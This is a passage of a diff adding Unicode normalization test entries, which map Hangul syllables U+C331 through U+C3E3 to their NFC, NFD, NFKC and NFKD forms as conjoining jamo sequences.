+{ source: [0xC331], NFC: [0xC331], NFD: [0x110A, 0x1163, 0x11A8], NFKC: [0xC331], NFKD: [0x110A, 0x1163, 0x11A8] },
+{ source: [0xC332], NFC: [0xC332], NFD: [0x110A, 0x1163, 0x11A9], NFKC: [0xC332], NFKD: [0x110A, 0x1163, 0x11A9] },
+{ source: [0xC333], NFC: [0xC333], NFD: [0x110A, 0x1163, 0x11AA], NFKC: [0xC333], NFKD: [0x110A, 0x1163, 0x11AA] },
+{ source: [0xC334], NFC: [0xC334], NFD: [0x110A, 0x1163, 0x11AB], NFKC: [0xC334], NFKD: [0x110A, 0x1163, 0x11AB] },
+{ source: [0xC335], NFC: [0xC335], NFD: [0x110A, 0x1163, 0x11AC], NFKC: [0xC335], NFKD: [0x110A, 0x1163, 0x11AC] },
+{ source: [0xC336], NFC: [0xC336], NFD: [0x110A, 0x1163, 0x11AD], NFKC: [0xC336], NFKD: [0x110A, 0x1163, 0x11AD] },
+{ source: [0xC337], NFC: [0xC337], NFD: [0x110A, 0x1163, 0x11AE], NFKC: [0xC337], NFKD: [0x110A, 0x1163, 0x11AE] },
+{ source: [0xC338], NFC: [0xC338], NFD: [0x110A, 0x1163, 0x11AF], NFKC: [0xC338], NFKD: [0x110A, 0x1163, 0x11AF] },
+{ source: [0xC339], NFC: [0xC339], NFD: [0x110A, 0x1163, 0x11B0], NFKC: [0xC339], NFKD: [0x110A, 0x1163, 0x11B0] },
+{ source: [0xC33A], NFC: [0xC33A], NFD: [0x110A, 0x1163, 0x11B1], NFKC: [0xC33A], NFKD: [0x110A, 0x1163, 0x11B1] },
+{ source: [0xC33B], NFC: [0xC33B], NFD: [0x110A, 0x1163, 0x11B2], NFKC: [0xC33B], NFKD: [0x110A, 0x1163, 0x11B2] },
+{ source: [0xC33C], NFC: [0xC33C], NFD: [0x110A, 0x1163, 0x11B3], NFKC: [0xC33C], NFKD: [0x110A, 0x1163, 0x11B3] },
+{ source: [0xC33D], NFC: [0xC33D], NFD: [0x110A, 0x1163, 0x11B4], NFKC: [0xC33D], NFKD: [0x110A, 0x1163, 0x11B4] },
+{ source: [0xC33E], NFC: [0xC33E], NFD: [0x110A, 0x1163, 0x11B5], NFKC: [0xC33E], NFKD: [0x110A, 0x1163, 0x11B5] },
+{ source: [0xC33F], NFC: [0xC33F], NFD: [0x110A, 0x1163, 0x11B6], NFKC: [0xC33F], NFKD: [0x110A, 0x1163, 0x11B6] },
+{ source: [0xC340], NFC: [0xC340], NFD: [0x110A, 0x1163, 0x11B7], NFKC: [0xC340], NFKD: [0x110A, 0x1163, 0x11B7] },
+{ source: [0xC341], NFC: [0xC341], NFD: [0x110A, 0x1163, 0x11B8], NFKC: [0xC341], NFKD: [0x110A, 0x1163, 0x11B8] },
+{ source: [0xC342], NFC: [0xC342], NFD: [0x110A, 0x1163, 0x11B9], NFKC: [0xC342], NFKD: [0x110A, 0x1163, 0x11B9] },
+{ source: [0xC343], NFC: [0xC343], NFD: [0x110A, 0x1163, 0x11BA], NFKC: [0xC343], NFKD: [0x110A, 0x1163, 0x11BA] },
+{ source: [0xC344], NFC: [0xC344], NFD: [0x110A, 0x1163, 0x11BB], NFKC: [0xC344], NFKD: [0x110A, 0x1163, 0x11BB] },
+{ source: [0xC345], NFC: [0xC345], NFD: [0x110A, 0x1163, 0x11BC], NFKC: [0xC345], NFKD: [0x110A, 0x1163, 0x11BC] },
+{ source: [0xC346], NFC: [0xC346], NFD: [0x110A, 0x1163, 0x11BD], NFKC: [0xC346], NFKD: [0x110A, 0x1163, 0x11BD] },
+{ source: [0xC347], NFC: [0xC347], NFD: [0x110A, 0x1163, 0x11BE], NFKC: [0xC347], NFKD: [0x110A, 0x1163, 0x11BE] },
+{ source: [0xC348], NFC: [0xC348], NFD: [0x110A, 0x1163, 0x11BF], NFKC: [0xC348], NFKD: [0x110A, 0x1163, 0x11BF] },
+{ source: [0xC349], NFC: [0xC349], NFD: [0x110A, 0x1163, 0x11C0], NFKC: [0xC349], NFKD: [0x110A, 0x1163, 0x11C0] },
+{ source: [0xC34A], NFC: [0xC34A], NFD: [0x110A, 0x1163, 0x11C1], NFKC: [0xC34A], NFKD: [0x110A, 0x1163, 0x11C1] },
+{ source: [0xC34B], NFC: [0xC34B], NFD: [0x110A, 0x1163, 0x11C2], NFKC: [0xC34B], NFKD: [0x110A, 0x1163, 0x11C2] },
+{ source: [0xC34C], NFC: [0xC34C], NFD: [0x110A, 0x1164], NFKC: [0xC34C], NFKD: [0x110A, 0x1164] },
+{ source: [0xC34D], NFC: [0xC34D], NFD: [0x110A, 0x1164, 0x11A8], NFKC: [0xC34D], NFKD: [0x110A, 0x1164, 0x11A8] },
+{ source: [0xC34E], NFC: [0xC34E], NFD: [0x110A, 0x1164, 0x11A9], NFKC: [0xC34E], NFKD: [0x110A, 0x1164, 0x11A9] },
+{ source: [0xC34F], NFC: [0xC34F], NFD: [0x110A, 0x1164, 0x11AA], NFKC: [0xC34F], NFKD: [0x110A, 0x1164, 0x11AA] },
+{ source: [0xC350], NFC: [0xC350], NFD: [0x110A, 0x1164, 0x11AB], NFKC: [0xC350], NFKD: [0x110A, 0x1164, 0x11AB] },
+{ source: [0xC351], NFC: [0xC351], NFD: [0x110A, 0x1164, 0x11AC], NFKC: [0xC351], NFKD: [0x110A, 0x1164, 0x11AC] },
+{ source: [0xC352], NFC: [0xC352], NFD: [0x110A, 0x1164, 0x11AD], NFKC: [0xC352], NFKD: [0x110A, 0x1164, 0x11AD] },
+{ source: [0xC353], NFC: [0xC353], NFD: [0x110A, 0x1164, 0x11AE], NFKC: [0xC353], NFKD: [0x110A, 0x1164, 0x11AE] },
+{ source: [0xC354], NFC: [0xC354], NFD: [0x110A, 0x1164, 0x11AF], NFKC: [0xC354], NFKD: [0x110A, 0x1164, 0x11AF] },
+{ source: [0xC355], NFC: [0xC355], NFD: [0x110A, 0x1164, 0x11B0], NFKC: [0xC355], NFKD: [0x110A, 0x1164, 0x11B0] },
+{ source: [0xC356], NFC: [0xC356], NFD: [0x110A, 0x1164, 0x11B1], NFKC: [0xC356], NFKD: [0x110A, 0x1164, 0x11B1] },
+{ source: [0xC357], NFC: [0xC357], NFD: [0x110A, 0x1164, 0x11B2], NFKC: [0xC357], NFKD: [0x110A, 0x1164, 0x11B2] },
+{ source: [0xC358], NFC: [0xC358], NFD: [0x110A, 0x1164, 0x11B3], NFKC: [0xC358], NFKD: [0x110A, 0x1164, 0x11B3] },
+{ source: [0xC359], NFC: [0xC359], NFD: [0x110A, 0x1164, 0x11B4], NFKC: [0xC359], NFKD: [0x110A, 0x1164, 0x11B4] },
+{ source: [0xC35A], NFC: [0xC35A], NFD: [0x110A, 0x1164, 0x11B5], NFKC: [0xC35A], NFKD: [0x110A, 0x1164, 0x11B5] },
+{ source: [0xC35B], NFC: [0xC35B], NFD: [0x110A, 0x1164, 0x11B6], NFKC: [0xC35B], NFKD: [0x110A, 0x1164, 0x11B6] },
+{ source: [0xC35C], NFC: [0xC35C], NFD: [0x110A, 0x1164, 0x11B7], NFKC: [0xC35C], NFKD: [0x110A, 0x1164, 0x11B7] },
+{ source: [0xC35D], NFC: [0xC35D], NFD: [0x110A, 0x1164, 0x11B8], NFKC: [0xC35D], NFKD: [0x110A, 0x1164, 0x11B8] },
+{ source: [0xC35E], NFC: [0xC35E], NFD: [0x110A, 0x1164, 0x11B9], NFKC: [0xC35E], NFKD: [0x110A, 0x1164, 0x11B9] },
+{ source: [0xC35F], NFC: [0xC35F], NFD: [0x110A, 0x1164, 0x11BA], NFKC: [0xC35F], NFKD: [0x110A, 0x1164, 0x11BA] },
+{ source: [0xC360], NFC: [0xC360], NFD: [0x110A, 0x1164, 0x11BB], NFKC: [0xC360], NFKD: [0x110A, 0x1164, 0x11BB] },
+{ source: [0xC361], NFC: [0xC361], NFD: [0x110A, 0x1164, 0x11BC], NFKC: [0xC361], NFKD: [0x110A, 0x1164, 0x11BC] },
+{ source: [0xC362], NFC: [0xC362], NFD: [0x110A, 0x1164, 0x11BD], NFKC: [0xC362], NFKD: [0x110A, 0x1164, 0x11BD] },
+{ source: [0xC363], NFC: [0xC363], NFD: [0x110A, 0x1164, 0x11BE], NFKC: [0xC363], NFKD: [0x110A, 0x1164, 0x11BE] },
+{ source: [0xC364], NFC: [0xC364], NFD: [0x110A, 0x1164, 0x11BF], NFKC: [0xC364], NFKD: [0x110A, 0x1164, 0x11BF] },
+{ source: [0xC365], NFC: [0xC365], NFD: [0x110A, 0x1164, 0x11C0], NFKC: [0xC365], NFKD: [0x110A, 0x1164, 0x11C0] },
+{ source: [0xC366], NFC: [0xC366], NFD: [0x110A, 0x1164, 0x11C1], NFKC: [0xC366], NFKD: [0x110A, 0x1164, 0x11C1] },
+{ source: [0xC367], NFC: [0xC367], NFD: [0x110A, 0x1164, 0x11C2], NFKC: [0xC367], NFKD: [0x110A, 0x1164, 0x11C2] },
+{ source: [0xC368], NFC: [0xC368], NFD: [0x110A, 0x1165], NFKC: [0xC368], NFKD: [0x110A, 0x1165] },
+{ source: [0xC369], NFC: [0xC369], NFD: [0x110A, 0x1165, 0x11A8], NFKC: [0xC369], NFKD: [0x110A, 0x1165, 0x11A8] },
+{ source: [0xC36A], NFC: [0xC36A], NFD: [0x110A, 0x1165, 0x11A9], NFKC: [0xC36A], NFKD: [0x110A, 0x1165, 0x11A9] },
+{ source: [0xC36B], NFC: [0xC36B], NFD: [0x110A, 0x1165, 0x11AA], NFKC: [0xC36B], NFKD: [0x110A, 0x1165, 0x11AA] },
+{ source: [0xC36C], NFC: [0xC36C], NFD: [0x110A, 0x1165, 0x11AB], NFKC: [0xC36C], NFKD: [0x110A, 0x1165, 0x11AB] },
+{ source: [0xC36D], NFC: [0xC36D], NFD: [0x110A, 0x1165, 0x11AC], NFKC: [0xC36D], NFKD: [0x110A, 0x1165, 0x11AC] },
+{ source: [0xC36E], NFC: [0xC36E], NFD: [0x110A, 0x1165, 0x11AD], NFKC: [0xC36E], NFKD: [0x110A, 0x1165, 0x11AD] },
+{ source: [0xC36F], NFC: [0xC36F], NFD: [0x110A, 0x1165, 0x11AE], NFKC: [0xC36F], NFKD: [0x110A, 0x1165, 0x11AE] },
+{ source: [0xC370], NFC: [0xC370], NFD: [0x110A, 0x1165, 0x11AF], NFKC: [0xC370], NFKD: [0x110A, 0x1165, 0x11AF] },
+{ source: [0xC371], NFC: [0xC371], NFD: [0x110A, 0x1165, 0x11B0], NFKC: [0xC371], NFKD: [0x110A, 0x1165, 0x11B0] },
+{ source: [0xC372], NFC: [0xC372], NFD: [0x110A, 0x1165, 0x11B1], NFKC: [0xC372], NFKD: [0x110A, 0x1165, 0x11B1] },
+{ source: [0xC373], NFC: [0xC373], NFD: [0x110A, 0x1165, 0x11B2], NFKC: [0xC373], NFKD: [0x110A, 0x1165, 0x11B2] },
+{ source: [0xC374], NFC: [0xC374], NFD: [0x110A, 0x1165, 0x11B3], NFKC: [0xC374], NFKD: [0x110A, 0x1165, 0x11B3] },
+{ source: [0xC375], NFC: [0xC375], NFD: [0x110A, 0x1165, 0x11B4], NFKC: [0xC375], NFKD: [0x110A, 0x1165, 0x11B4] },
+{ source: [0xC376], NFC: [0xC376], NFD: [0x110A, 0x1165, 0x11B5], NFKC: [0xC376], NFKD: [0x110A, 0x1165, 0x11B5] },
+{ source: [0xC377], NFC: [0xC377], NFD: [0x110A, 0x1165, 0x11B6], NFKC: [0xC377], NFKD: [0x110A, 0x1165, 0x11B6] },
+{ source: [0xC378], NFC: [0xC378], NFD: [0x110A, 0x1165, 0x11B7], NFKC: [0xC378], NFKD: [0x110A, 0x1165, 0x11B7] },
+{ source: [0xC379], NFC: [0xC379], NFD: [0x110A, 0x1165, 0x11B8], NFKC: [0xC379], NFKD: [0x110A, 0x1165, 0x11B8] },
+{ source: [0xC37A], NFC: [0xC37A], NFD: [0x110A, 0x1165, 0x11B9], NFKC: [0xC37A], NFKD: [0x110A, 0x1165, 0x11B9] },
+{ source: [0xC37B], NFC: [0xC37B], NFD: [0x110A, 0x1165, 0x11BA], NFKC: [0xC37B], NFKD: [0x110A, 0x1165, 0x11BA] },
+{ source: [0xC37C], NFC: [0xC37C], NFD: [0x110A, 0x1165, 0x11BB], NFKC: [0xC37C], NFKD: [0x110A, 0x1165, 0x11BB] },
+{ source: [0xC37D], NFC: [0xC37D], NFD: [0x110A, 0x1165, 0x11BC], NFKC: [0xC37D], NFKD: [0x110A, 0x1165, 0x11BC] },
+{ source: [0xC37E], NFC: [0xC37E], NFD: [0x110A, 0x1165, 0x11BD], NFKC: [0xC37E], NFKD: [0x110A, 0x1165, 0x11BD] },
+{ source: [0xC37F], NFC: [0xC37F], NFD: [0x110A, 0x1165, 0x11BE], NFKC: [0xC37F], NFKD: [0x110A, 0x1165, 0x11BE] },
+{ source: [0xC380], NFC: [0xC380], NFD: [0x110A, 0x1165, 0x11BF], NFKC: [0xC380], NFKD: [0x110A, 0x1165, 0x11BF] },
+{ source: [0xC381], NFC: [0xC381], NFD: [0x110A, 0x1165, 0x11C0], NFKC: [0xC381], NFKD: [0x110A, 0x1165, 0x11C0] },
+{ source: [0xC382], NFC: [0xC382], NFD: [0x110A, 0x1165, 0x11C1], NFKC: [0xC382], NFKD: [0x110A, 0x1165, 0x11C1] },
+{ source: [0xC383], NFC: [0xC383], NFD: [0x110A, 0x1165, 0x11C2], NFKC: [0xC383], NFKD: [0x110A, 0x1165, 0x11C2] },
+{ source: [0xC384], NFC: [0xC384], NFD: [0x110A, 0x1166], NFKC: [0xC384], NFKD: [0x110A, 0x1166] },
+{ source: [0xC385], NFC: [0xC385], NFD: [0x110A, 0x1166, 0x11A8], NFKC: [0xC385], NFKD: [0x110A, 0x1166, 0x11A8] },
+{ source: [0xC386], NFC: [0xC386], NFD: [0x110A, 0x1166, 0x11A9], NFKC: [0xC386], NFKD: [0x110A, 0x1166, 0x11A9] },
+{ source: [0xC387], NFC: [0xC387], NFD: [0x110A, 0x1166, 0x11AA], NFKC: [0xC387], NFKD: [0x110A, 0x1166, 0x11AA] },
+{ source: [0xC388], NFC: [0xC388], NFD: [0x110A, 0x1166, 0x11AB], NFKC: [0xC388], NFKD: [0x110A, 0x1166, 0x11AB] },
+{ source: [0xC389], NFC: [0xC389], NFD: [0x110A, 0x1166, 0x11AC], NFKC: [0xC389], NFKD: [0x110A, 0x1166, 0x11AC] },
+{ source: [0xC38A], NFC: [0xC38A], NFD: [0x110A, 0x1166, 0x11AD], NFKC: [0xC38A], NFKD: [0x110A, 0x1166, 0x11AD] },
+{ source: [0xC38B], NFC: [0xC38B], NFD: [0x110A, 0x1166, 0x11AE], NFKC: [0xC38B], NFKD: [0x110A, 0x1166, 0x11AE] },
+{ source: [0xC38C], NFC: [0xC38C], NFD: [0x110A, 0x1166, 0x11AF], NFKC: [0xC38C], NFKD: [0x110A, 0x1166, 0x11AF] },
+{ source: [0xC38D], NFC: [0xC38D], NFD: [0x110A, 0x1166, 0x11B0], NFKC: [0xC38D], NFKD: [0x110A, 0x1166, 0x11B0] },
+{ source: [0xC38E], NFC: [0xC38E], NFD: [0x110A, 0x1166, 0x11B1], NFKC: [0xC38E], NFKD: [0x110A, 0x1166, 0x11B1] },
+{ source: [0xC38F], NFC: [0xC38F], NFD: [0x110A, 0x1166, 0x11B2], NFKC: [0xC38F], NFKD: [0x110A, 0x1166, 0x11B2] },
+{ source: [0xC390], NFC: [0xC390], NFD: [0x110A, 0x1166, 0x11B3], NFKC: [0xC390], NFKD: [0x110A, 0x1166, 0x11B3] },
+{ source: [0xC391], NFC: [0xC391], NFD: [0x110A, 0x1166, 0x11B4], NFKC: [0xC391], NFKD: [0x110A, 0x1166, 0x11B4] },
+{ source: [0xC392], NFC: [0xC392], NFD: [0x110A, 0x1166, 0x11B5], NFKC: [0xC392], NFKD: [0x110A, 0x1166, 0x11B5] },
+{ source: [0xC393], NFC: [0xC393], NFD: [0x110A, 0x1166, 0x11B6], NFKC: [0xC393], NFKD: [0x110A, 0x1166, 0x11B6] },
+{ source: [0xC394], NFC: [0xC394], NFD: [0x110A, 0x1166, 0x11B7], NFKC: [0xC394], NFKD: [0x110A, 0x1166, 0x11B7] },
+{ source: [0xC395], NFC: [0xC395], NFD: [0x110A, 0x1166, 0x11B8], NFKC: [0xC395], NFKD: [0x110A, 0x1166, 0x11B8] },
+{ source: [0xC396], NFC: [0xC396], NFD: [0x110A, 0x1166, 0x11B9], NFKC: [0xC396], NFKD: [0x110A, 0x1166, 0x11B9] },
+{ source: [0xC397], NFC: [0xC397], NFD: [0x110A, 0x1166, 0x11BA], NFKC: [0xC397], NFKD: [0x110A, 0x1166, 0x11BA] },
+{ source: [0xC398], NFC: [0xC398], NFD: [0x110A, 0x1166, 0x11BB], NFKC: [0xC398], NFKD: [0x110A, 0x1166, 0x11BB] },
+{ source: [0xC399], NFC: [0xC399], NFD: [0x110A, 0x1166, 0x11BC], NFKC: [0xC399], NFKD: [0x110A, 0x1166, 0x11BC] },
+{ source: [0xC39A], NFC: [0xC39A], NFD: [0x110A, 0x1166, 0x11BD], NFKC: [0xC39A], NFKD: [0x110A, 0x1166, 0x11BD] },
+{ source: [0xC39B], NFC: [0xC39B], NFD: [0x110A, 0x1166, 0x11BE], NFKC: [0xC39B], NFKD: [0x110A, 0x1166, 0x11BE] },
+{ source: [0xC39C], NFC: [0xC39C], NFD: [0x110A, 0x1166, 0x11BF], NFKC: [0xC39C], NFKD: [0x110A, 0x1166, 0x11BF] },
+{ source: [0xC39D], NFC: [0xC39D], NFD: [0x110A, 0x1166, 0x11C0], NFKC: [0xC39D], NFKD: [0x110A, 0x1166, 0x11C0] },
+{ source: [0xC39E], NFC: [0xC39E], NFD: [0x110A, 0x1166, 0x11C1], NFKC: [0xC39E], NFKD: [0x110A, 0x1166, 0x11C1] },
+{ source: [0xC39F], NFC: [0xC39F], NFD: [0x110A, 0x1166, 0x11C2], NFKC: [0xC39F], NFKD: [0x110A, 0x1166, 0x11C2] },
+{ source: [0xC3A0], NFC: [0xC3A0], NFD: [0x110A, 0x1167], NFKC: [0xC3A0], NFKD: [0x110A, 0x1167] },
+{ source: [0xC3A1], NFC: [0xC3A1], NFD: [0x110A, 0x1167, 0x11A8], NFKC: [0xC3A1], NFKD: [0x110A, 0x1167, 0x11A8] },
+{ source: [0xC3A2], NFC: [0xC3A2], NFD: [0x110A, 0x1167, 0x11A9], NFKC: [0xC3A2], NFKD: [0x110A, 0x1167, 0x11A9] },
+{ source: [0xC3A3], NFC: [0xC3A3], NFD: [0x110A, 0x1167, 0x11AA], NFKC: [0xC3A3], NFKD: [0x110A, 0x1167, 0x11AA] },
+{ source: [0xC3A4], NFC: [0xC3A4], NFD: [0x110A, 0x1167, 0x11AB], NFKC: [0xC3A4], NFKD: [0x110A, 0x1167, 0x11AB] },
+{ source: [0xC3A5], NFC: [0xC3A5], NFD: [0x110A, 0x1167, 0x11AC], NFKC: [0xC3A5], NFKD: [0x110A, 0x1167, 0x11AC] },
+{ source: [0xC3A6], NFC: [0xC3A6], NFD: [0x110A, 0x1167, 0x11AD], NFKC: [0xC3A6], NFKD: [0x110A, 0x1167, 0x11AD] },
+{ source: [0xC3A7], NFC: [0xC3A7], NFD: [0x110A, 0x1167, 0x11AE], NFKC: [0xC3A7], NFKD: [0x110A, 0x1167, 0x11AE] },
+{ source: [0xC3A8], NFC: [0xC3A8], NFD: [0x110A, 0x1167, 0x11AF], NFKC: [0xC3A8], NFKD: [0x110A, 0x1167, 0x11AF] },
+{ source: [0xC3A9], NFC: [0xC3A9], NFD: [0x110A, 0x1167, 0x11B0], NFKC: [0xC3A9], NFKD: [0x110A, 0x1167, 0x11B0] },
+{ source: [0xC3AA], NFC: [0xC3AA], NFD: [0x110A, 0x1167, 0x11B1], NFKC: [0xC3AA], NFKD: [0x110A, 0x1167, 0x11B1] },
+{ source: [0xC3AB], NFC: [0xC3AB], NFD: [0x110A, 0x1167, 0x11B2], NFKC: [0xC3AB], NFKD: [0x110A, 0x1167, 0x11B2] },
+{ source: [0xC3AC], NFC: [0xC3AC], NFD: [0x110A, 0x1167, 0x11B3], NFKC: [0xC3AC], NFKD: [0x110A, 0x1167, 0x11B3] },
+{ source: [0xC3AD], NFC: [0xC3AD], NFD: [0x110A, 0x1167, 0x11B4], NFKC: [0xC3AD], NFKD: [0x110A, 0x1167, 0x11B4] },
+{ source: [0xC3AE], NFC: [0xC3AE], NFD: [0x110A, 0x1167, 0x11B5], NFKC: [0xC3AE], NFKD: [0x110A, 0x1167, 0x11B5] },
+{ source: [0xC3AF], NFC: [0xC3AF], NFD: [0x110A, 0x1167, 0x11B6], NFKC: [0xC3AF], NFKD: [0x110A, 0x1167, 0x11B6] },
+{ source: [0xC3B0], NFC: [0xC3B0], NFD: [0x110A, 0x1167, 0x11B7], NFKC: [0xC3B0], NFKD: [0x110A, 0x1167, 0x11B7] },
+{ source: [0xC3B1], NFC: [0xC3B1], NFD: [0x110A, 0x1167, 0x11B8], NFKC: [0xC3B1], NFKD: [0x110A, 0x1167, 0x11B8] },
+{ source: [0xC3B2], NFC: [0xC3B2], NFD: [0x110A, 0x1167, 0x11B9], NFKC: [0xC3B2], NFKD: [0x110A, 0x1167, 0x11B9] },
+{ source: [0xC3B3], NFC: [0xC3B3], NFD: [0x110A, 0x1167, 0x11BA], NFKC: [0xC3B3], NFKD: [0x110A, 0x1167, 0x11BA] },
+{ source: [0xC3B4], NFC: [0xC3B4], NFD: [0x110A, 0x1167, 0x11BB], NFKC: [0xC3B4], NFKD: [0x110A, 0x1167, 0x11BB] },
+{ source: [0xC3B5], NFC: [0xC3B5], NFD: [0x110A, 0x1167, 0x11BC], NFKC: [0xC3B5], NFKD: [0x110A, 0x1167, 0x11BC] },
+{ source: [0xC3B6], NFC: [0xC3B6], NFD: [0x110A, 0x1167, 0x11BD], NFKC: [0xC3B6], NFKD: [0x110A, 0x1167, 0x11BD] },
+{ source: [0xC3B7], NFC: [0xC3B7], NFD: [0x110A, 0x1167, 0x11BE], NFKC: [0xC3B7], NFKD: [0x110A, 0x1167, 0x11BE] },
+{ source: [0xC3B8], NFC: [0xC3B8], NFD: [0x110A, 0x1167, 0x11BF], NFKC: [0xC3B8], NFKD: [0x110A, 0x1167, 0x11BF] },
+{ source: [0xC3B9], NFC: [0xC3B9], NFD: [0x110A, 0x1167, 0x11C0], NFKC: [0xC3B9], NFKD: [0x110A, 0x1167, 0x11C0] },
+{ source: [0xC3BA], NFC: [0xC3BA], NFD: [0x110A, 0x1167, 0x11C1], NFKC: [0xC3BA], NFKD: [0x110A, 0x1167, 0x11C1] },
+{ source: [0xC3BB], NFC: [0xC3BB], NFD: [0x110A, 0x1167, 0x11C2], NFKC: [0xC3BB], NFKD: [0x110A, 0x1167, 0x11C2] },
+{ source: [0xC3BC], NFC: [0xC3BC], NFD: [0x110A, 0x1168], NFKC: [0xC3BC], NFKD: [0x110A, 0x1168] },
+{ source: [0xC3BD], NFC: [0xC3BD], NFD: [0x110A, 0x1168, 0x11A8], NFKC: [0xC3BD], NFKD: [0x110A, 0x1168, 0x11A8] },
+{ source: [0xC3BE], NFC: [0xC3BE], NFD: [0x110A, 0x1168, 0x11A9], NFKC: [0xC3BE], NFKD: [0x110A, 0x1168, 0x11A9] },
+{ source: [0xC3BF], NFC: [0xC3BF], NFD: [0x110A, 0x1168, 0x11AA], NFKC: [0xC3BF], NFKD: [0x110A, 0x1168, 0x11AA] },
+{ source: [0xC3C0], NFC: [0xC3C0], NFD: [0x110A, 0x1168, 0x11AB], NFKC: [0xC3C0], NFKD: [0x110A, 0x1168, 0x11AB] },
+{ source: [0xC3C1], NFC: [0xC3C1], NFD: [0x110A, 0x1168, 0x11AC], NFKC: [0xC3C1], NFKD: [0x110A, 0x1168, 0x11AC] },
+{ source: [0xC3C2], NFC: [0xC3C2], NFD: [0x110A, 0x1168, 0x11AD], NFKC: [0xC3C2], NFKD: [0x110A, 0x1168, 0x11AD] },
+{ source: [0xC3C3], NFC: [0xC3C3], NFD: [0x110A, 0x1168, 0x11AE], NFKC: [0xC3C3], NFKD: [0x110A, 0x1168, 0x11AE] },
+{ source: [0xC3C4], NFC: [0xC3C4], NFD: [0x110A, 0x1168, 0x11AF], NFKC: [0xC3C4], NFKD: [0x110A, 0x1168, 0x11AF] },
+{ source: [0xC3C5], NFC: [0xC3C5], NFD: [0x110A, 0x1168, 0x11B0], NFKC: [0xC3C5], NFKD: [0x110A, 0x1168, 0x11B0] },
+{ source: [0xC3C6], NFC: [0xC3C6], NFD: [0x110A, 0x1168, 0x11B1], NFKC: [0xC3C6], NFKD: [0x110A, 0x1168, 0x11B1] },
+{ source: [0xC3C7], NFC: [0xC3C7], NFD: [0x110A, 0x1168, 0x11B2], NFKC: [0xC3C7], NFKD: [0x110A, 0x1168, 0x11B2] },
+{ source: [0xC3C8], NFC: [0xC3C8], NFD: [0x110A, 0x1168, 0x11B3], NFKC: [0xC3C8], NFKD: [0x110A, 0x1168, 0x11B3] },
+{ source: [0xC3C9], NFC: [0xC3C9], NFD: [0x110A, 0x1168, 0x11B4], NFKC: [0xC3C9], NFKD: [0x110A, 0x1168, 0x11B4] },
+{ source: [0xC3CA], NFC: [0xC3CA], NFD: [0x110A, 0x1168, 0x11B5], NFKC: [0xC3CA], NFKD: [0x110A, 0x1168, 0x11B5] },
+{ source: [0xC3CB], NFC: [0xC3CB], NFD: [0x110A, 0x1168, 0x11B6], NFKC: [0xC3CB], NFKD: [0x110A, 0x1168, 0x11B6] },
+{ source: [0xC3CC], NFC: [0xC3CC], NFD: [0x110A, 0x1168, 0x11B7], NFKC: [0xC3CC], NFKD: [0x110A, 0x1168, 0x11B7] },
+{ source: [0xC3CD], NFC: [0xC3CD], NFD: [0x110A, 0x1168, 0x11B8], NFKC: [0xC3CD], NFKD: [0x110A, 0x1168, 0x11B8] },
+{ source: [0xC3CE], NFC: [0xC3CE], NFD: [0x110A, 0x1168, 0x11B9], NFKC: [0xC3CE], NFKD: [0x110A, 0x1168, 0x11B9] },
+{ source: [0xC3CF], NFC: [0xC3CF], NFD: [0x110A, 0x1168, 0x11BA], NFKC: [0xC3CF], NFKD: [0x110A, 0x1168, 0x11BA] },
+{ source: [0xC3D0], NFC: [0xC3D0], NFD: [0x110A, 0x1168, 0x11BB], NFKC: [0xC3D0], NFKD: [0x110A, 0x1168, 0x11BB] },
+{ source: [0xC3D1], NFC: [0xC3D1], NFD: [0x110A, 0x1168, 0x11BC], NFKC: [0xC3D1], NFKD: [0x110A, 0x1168, 0x11BC] },
+{ source: [0xC3D2], NFC: [0xC3D2], NFD: [0x110A, 0x1168, 0x11BD], NFKC: [0xC3D2], NFKD: [0x110A, 0x1168, 0x11BD] },
+{ source: [0xC3D3], NFC: [0xC3D3], NFD: [0x110A, 0x1168, 0x11BE], NFKC: [0xC3D3], NFKD: [0x110A, 0x1168, 0x11BE] },
+{ source: [0xC3D4], NFC: [0xC3D4], NFD: [0x110A, 0x1168, 0x11BF], NFKC: [0xC3D4], NFKD: [0x110A, 0x1168, 0x11BF] },
+{ source: [0xC3D5], NFC: [0xC3D5], NFD: [0x110A, 0x1168, 0x11C0], NFKC: [0xC3D5], NFKD: [0x110A, 0x1168, 0x11C0] },
+{ source: [0xC3D6], NFC: [0xC3D6], NFD: [0x110A, 0x1168, 0x11C1], NFKC: [0xC3D6], NFKD: [0x110A, 0x1168, 0x11C1] },
+{ source: [0xC3D7], NFC: [0xC3D7], NFD: [0x110A, 0x1168, 0x11C2], NFKC: [0xC3D7], NFKD: [0x110A, 0x1168, 0x11C2] },
+{ source: [0xC3D8], NFC: [0xC3D8], NFD: [0x110A, 0x1169], NFKC: [0xC3D8], NFKD: [0x110A, 0x1169] },
+{ source: [0xC3D9], NFC: [0xC3D9], NFD: [0x110A, 0x1169, 0x11A8], NFKC: [0xC3D9], NFKD: [0x110A, 0x1169, 0x11A8] },
+{ source: [0xC3DA], NFC: [0xC3DA], NFD: [0x110A, 0x1169, 0x11A9], NFKC: [0xC3DA], NFKD: [0x110A, 0x1169, 0x11A9] },
+{ source: [0xC3DB], NFC: [0xC3DB], NFD: [0x110A, 0x1169, 0x11AA], NFKC: [0xC3DB], NFKD: [0x110A, 0x1169, 0x11AA] },
+{ source: [0xC3DC], NFC: [0xC3DC], NFD: [0x110A, 0x1169, 0x11AB], NFKC: [0xC3DC], NFKD: [0x110A, 0x1169, 0x11AB] },
+{ source: [0xC3DD], NFC: [0xC3DD], NFD: [0x110A, 0x1169, 0x11AC], NFKC: [0xC3DD], NFKD: [0x110A, 0x1169, 0x11AC] },
+{ source: [0xC3DE], NFC: [0xC3DE], NFD: [0x110A, 0x1169, 0x11AD], NFKC: [0xC3DE], NFKD: [0x110A, 0x1169, 0x11AD] },
+{ source: [0xC3DF], NFC: [0xC3DF], NFD: [0x110A, 0x1169, 0x11AE], NFKC: [0xC3DF], NFKD: [0x110A, 0x1169, 0x11AE] },
+{ source: [0xC3E0], NFC: [0xC3E0], NFD: [0x110A, 0x1169, 0x11AF], NFKC: [0xC3E0], NFKD: [0x110A, 0x1169, 0x11AF] },
+{ source: [0xC3E1], NFC: [0xC3E1], NFD: [0x110A, 0x1169, 0x11B0], NFKC: [0xC3E1], NFKD: [0x110A, 0x1169, 0x11B0] },
+{ source: [0xC3E2], NFC: [0xC3E2], NFD: [0x110A, 0x1169, 0x11B1], NFKC: [0xC3E2], NFKD: [0x110A, 0x1169, 0x11B1] },
+{ source: [0xC3E3], NFC: [0xC3E3], NFD: [0x110A, 0x1169, 0x11B2], NFKC: [0xC3E3], NFKD: [0x110A, 0x1169, 0x11B2] },
